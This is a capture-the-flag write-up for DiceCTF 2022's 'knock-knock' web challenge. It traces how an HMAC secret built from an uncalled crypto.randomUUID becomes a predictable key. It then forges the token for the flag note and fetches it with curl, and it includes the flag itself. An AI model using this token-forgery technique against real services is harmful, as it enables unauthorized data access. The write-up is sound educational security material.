Knock Knock (DiceCTF 2022)
name | knock-knock |
category | web |
platform | n/a |
link | https://ctf.dicega.ng |
ctf | DiceCTF 2022 |
description | n/a |
Navigating to the web app knock-knock.mc.ax
we see a simple form with a textbox. Dockerfile
and index.js
, which is basically the server, is given. It’s a simple web app.
application logic
Sending a POST request to /create
like so:
POST /create HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
data=abcd
HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:14:59 GMT
Location: /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a
Vary: Accept
X-Powered-By: Express
Content-Length: 218
<p>Found. Redirecting to <a href="/note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a">/note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a</a></p>
stores the value abcd
in an array called notes
and generates a HMAC token with which we can later retrieve this note. Keep in mind, each time a POST request like the above is sent to the web app, a new token is generated and we can retrieve only that note with it. An id
is also assigned to the note upon creation which is basically a sequential identifier. This id is shown to us in the 302 redirect that comes after we send the POST request.
Retrieving a note is done by sending a GET request to /note
with the id and token of the note as parameters.
GET /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:34:19 GMT
Etag: W/"4-gf6L/odXbD7LIkJvjleEc4KRes8"
X-Powered-By: Express
Content-Length: 4
abcd
source code analysis
Looking closely at the code, we see this
const db = new Database();
db.createNote({ data: process.env.FLAG });
This is what createNote()
looks like
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
This means that when the app is run, right after db
is initalized, createNode()
is run with the environment variable FLAG (the flag we need) as an argument. So, clearly the first element in the notes
array (index 0) contains the flag that we need.
So now we know the index at which our flag is present. What remains is the HMAC token. Let’s take a look at the generateToken()
function.
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
Essentially, it creates a HMAC object with the key this.secret
and later updates the content of the HMAC with the id
and returns the hash. The initialization of this.secret
looks interesting
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
The crypto.randomUUID()
function is called without the parantheses which should not work. Let’s modify index.js
to see what this.secret
contains. We could do this in a node interpreter, but I just decided to use Docker.
createNote({ data }) {
++ console.log('this.secret: ', this.secret)
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
Build the image and run a container
> docker build -t knock-knock .
> docker run knock-knock
this.secret: secret-function randomUUID(options) {
if (options !== undefined)
validateObject(options, 'options');
const {
disableEntropyCache = false,
} = options || {};
validateBoolean(disableEntropyCache, 'options.disableEntropyCache');
return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
}
This is interesting. It looks like we just get the function definition of randomUUID()
appended to the secret key and not an actual random UUID. This means the this.secret
key is same for all the notes, including the flag at index 0!
exploitation
Since the flag is the first note to be created, we can get the token of the flag by making a small change in index.js
and building and running the container.
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
++ console.log(this.generateToken(id));
return {
id,
token: this.generateToken(id),
};
}
$ docker build -t knock-knock .
$ docker run knock-knock
7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
listening on port 3000
Got the token: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
.
We can now get the flag with this token and id as 0.
> curl -k 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
Flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}